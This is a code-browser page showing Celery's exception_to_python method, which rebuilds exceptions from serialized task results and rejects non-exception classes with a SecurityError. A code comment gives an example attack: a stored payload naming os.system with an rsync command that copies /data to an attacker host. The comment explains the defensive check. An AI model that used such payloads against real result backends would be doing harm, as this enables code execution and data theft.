MCPcopy
hub / github.com/celery/celery / exception_to_python

Method exception_to_python

celery/backends/base.py:434–503  ·  view source on GitHub ↗

Convert serialized exception to Python exception.

(self, exc)

Source from the content-addressed store, hash-verified

432 'exc_module': exctype.__module__}
433
434 def exception_to_python(self, exc):
435 """Convert serialized exception to Python exception."""
436 if not exc:
437 return None
438 elif isinstance(exc, BaseException):
439 if self.serializer in EXCEPTION_ABLE_CODECS:
440 exc = get_pickled_exception(exc)
441 return exc
442 elif not isinstance(exc, dict):
443 try:
444 exc = dict(exc)
445 except TypeError as e:
446 raise TypeError(f"If the stored exception isn't an "
447 f"instance of "
448 f"BaseException, it must be a dictionary.\n"
449 f"Instead got: {exc}") from e
450
451 exc_module = exc.get('exc_module')
452 try:
453 exc_type = exc['exc_type']
454 except KeyError as e:
455 raise ValueError("Exception information must include "
456 "the exception type") from e
457 if exc_module is None:
458 cls = create_exception_cls(
459 exc_type, __name__)
460 else:
461 try:
462 # Load module and find exception class in that
463 cls = sys.modules[exc_module]
464 # The type can contain qualified name with parent classes
465 for name in exc_type.split('.'):
466 cls = getattr(cls, name)
467 except (KeyError, AttributeError):
468 cls = create_exception_cls(exc_type,
469 celery.exceptions.__name__)
470 exc_msg = exc.get('exc_message', '')
471
472 # If the recreated exception type isn't indeed an exception,
473 # this is a security issue. Without the condition below, an attacker
474 # could exploit a stored command vulnerability to execute arbitrary
475 # python code such as:
476 # os.system("rsync /data attacker@192.168.56.100:~/data")
477 # The attacker sets the task's result to a failure in the result
478 # backend with the os as the module, the system function as the
479 # exception type and the payload
480 # rsync /data attacker@192.168.56.100:~/data
481 # as the exception arguments like so:
482 # {
483 # "exc_module": "os",
484 # "exc_type": "system",
485 # "exc_message": "rsync /data attacker@192.168.56.100:~/data"
486 # }
487 if not isinstance(cls, type) or not issubclass(cls, BaseException):
488 fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}'
489 raise SecurityError(
490 f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}")
491

Calls 4

get_pickled_exceptionFunction · 0.90
create_exception_clsFunction · 0.90
SecurityErrorClass · 0.90
getMethod · 0.45